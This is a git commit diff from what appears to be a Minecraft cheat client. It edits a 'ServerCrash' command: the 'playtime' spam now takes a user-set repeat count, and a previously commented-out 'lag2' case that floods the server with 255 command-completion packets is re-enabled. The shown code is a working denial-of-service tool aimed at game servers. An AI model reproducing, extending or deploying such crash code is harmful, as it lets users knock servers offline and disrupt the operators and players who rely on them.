This commit is contained in:
Saturn5Vfive 2022-04-19 17:00:27 -05:00
parent 027d336566
commit 71f2f47286
2 changed files with 10 additions and 9 deletions

View file

@ -130,8 +130,9 @@ public class ServerCrash extends Command {
}
case "playtime" -> {
for (int i = 0; i < 10; i++) {
client.player.sendChatMessage("/playtime " + rndStr(12));
int size = new IntegerArgumentParser().parse(args[1]);
for (int i = 0; i < size; i++) {
client.player.sendChatMessage("/playtime " + rndStr(1));
}
Notification.create(2000, "Server Crash", Notification.Type.SUCCESS, "Sent Playtime Crash");
}
@ -150,12 +151,12 @@ public class ServerCrash extends Command {
Notification.create(2000, "Server Crash", Notification.Type.SUCCESS, "Sent Quick Lag Crash");
}
//case "lag2" -> {
// for(int i = 0; i < 255; i++){
// client.player.networkHandler.sendPacket(new RequestCommandCompletionsC2SPacket(0, "/"));
// }
// Notification.create(2000, "Server Crash", Notification.Type.SUCCESS, "Sent Quick Lag Crash");
//}
case "lag2" -> {
for(int i = 0; i < 255; i++){
client.player.networkHandler.sendPacket(new RequestCommandCompletionsC2SPacket(0, "/"));
}
Notification.create(2000, "Server Crash", Notification.Type.SUCCESS, "Sent Quick Lag Crash");
}
case "maptool" -> {
int size = new IntegerArgumentParser().parse(args[1]);

View file

@ -8,6 +8,7 @@ import io.netty.channel.ChannelHandlerContext;
import net.minecraft.network.ClientConnection;
import net.minecraft.network.Packet;
import net.minecraft.network.listener.PacketListener;
import net.minecraft.network.packet.c2s.play.ClickSlotC2SPacket;
import net.shadow.client.feature.module.ModuleRegistry;
import net.shadow.client.feature.module.impl.misc.AntiPacketKick;
import net.shadow.client.helper.event.EventType;
@ -20,7 +21,6 @@ import org.spongepowered.asm.mixin.injection.callback.CallbackInfo;
@Mixin(ClientConnection.class)
public class ClientConnectionMixin {
@Inject(method = "handlePacket", at = @At("HEAD"), cancellable = true)
private static <T extends PacketListener> void dispatchPacketGet(Packet<T> packet, PacketListener listener, CallbackInfo ci) {
if (Events.fireEvent(EventType.PACKET_RECEIVE, new PacketEvent(packet))) {